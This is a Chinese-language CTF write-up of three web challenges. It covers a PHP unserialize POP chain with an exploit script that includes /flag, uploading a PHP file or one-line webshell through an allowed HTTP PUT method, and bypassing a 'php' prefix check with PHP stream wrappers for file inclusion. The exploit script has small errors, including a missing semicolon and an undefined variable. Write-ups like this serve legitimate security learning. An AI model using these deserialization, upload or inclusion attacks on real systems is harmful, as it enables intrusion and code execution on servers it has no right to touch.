[NISACTF 2022]popchains
Happy New Year~ MAKE A WISH
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){ #通过get获取wish的值 并判断是不是空
@unserialize($_GET['wish']); #反序列化wish
}
else{
$a=new Road_is_Long; #实例化Road_is_Long
highlight_file(__FILE__); #将当前页面的代码显示到页面
}
/***************************pop your 2022*****************************/
class Road_is_Long{ #定义一个名为Road_is_Long的类
public $page; #定义一个名为page的变量
public $string; #定义一个名为string的变量
public function __construct($file='index.php'){ #定义__construct魔术方法 初始化使用
$this->page = $file; #这里初始化page的值为index.php
}
public function __toString(){ #toString方法 当一个对象被当作字符串使用时调用
return $this->string->page; # return代表 $this->string->page以字符串
}
public function __wakeup(){ # wakeup魔术方法 反序列化时最先调用
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) { #对page过滤
echo "You can Not Enter 2022";
$this->page = "index.php"; #重新对page赋值
}
}
}
class Try_Work_Hard{ #定义一个名为Try_Work_Hard的类
protected $var; #定义一个名为var的变量
public function append($value){ #append方法 包含value变量
include($value); #包含value
}
public function __invoke(){ #invoke魔术方法 当脚本尝试将对象调用为函数时触发
$this->append($this->var); #__invoke方法调用append方法并将$this->var作为参数传给value
}
class Make_a_Change{ #定义一个名为Make_a_Change的类
public $effort; #定义一个名为effort的变量
public function __construct(){ #__construct魔术方法 初始化使用
$this->effort = array(); #初始化effor属性为空数组
}
public function __get($key){ #get魔术方法读取不可访问的属性的值时会被调用
$function = $this->effort; #将$this->effort赋值给function
return $function(); #返回function 同时function以函数执行
}
}
/**********************Try to See flag.php*****************************/
先找出口 很明显时 通过include 所以是append方法
寻找调用append方法的地方发现__invoke魔术方法
那调用__invoke方法当脚本尝试将对象调用为函数时触发
寻找触发invoke的地方 发现 __get中function以函数执行
get魔术方法读取不可访问的属性的值时会被调用
寻找读取不可访问的属性的地方_toString 中$this->string->page 这里没有page这个属性的定义
这里的page和$page是不同的 前者代表是string变量中的page属性 而后者是一个变量
toString方法 当一个对象被当作字符串使用时调用
__wakeup中preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page里面匹配了$this->page而这里的$this->page是以字符串的形式会调用toString
wakeup在 反序列化时就会触发
调用思路
append --> invoke --> get --> toString --> wakeup
Try_Work_Hard --> Try_Work_Hard --> Make_a_Change --> Road_is_long --> Road_is_long
<?php
class Road_is_long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var="/flag"; 定义var的值 包含flag
}
class Make_a_Change{
public $effort;
}
$A = new Road_is_long();
$A->page = new Road_is_long();
$A->page->string = new Make_a_Change();
$A->page->string->effort = new Try_Work_Hard();
$exp1 = serialize($A);
echo $exp1
$exp = serialize($a1);
echo urlencode($exp);
?>
[NSSRound#1 Basic]basic_check
这里要了解nikto的使用
+OSVDB-397:HTTP方法“PUT”允许客户端在web服务器上保存文件
得到可以put
然后知道put请求可以给服务器发送文件
我们给服务器发送一个为a,php的文件
这里代表执行get到的1的参数
然后我们到a.php中去
这里cat / 不会有返回值 我们要f*匹配 或者传入一句话木马再连接
[SWPUCTF 2022 新生赛]ez_ez_php
<?php
error_reporting(0); #屏蔽报错信息
if (isset($_GET['file'])) { #判断get传入的file是不是为空
if ( substr($_GET["file"], 0, 3) === "php" ) { #通过substr对file进行截断判断是不是php
echo "Nice!!!";
include($_GET["file"]); #包含文件
}
else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__); #高亮显示当前文件的代码
}
//flag.php #提示flag在flag.php中
这里要我们传入的file的开头时php 我们想到php伪协议的开头也是php 所以通过php伪协议读取
发现这个flag不对
他说flag在flag里面我们尝试访问flag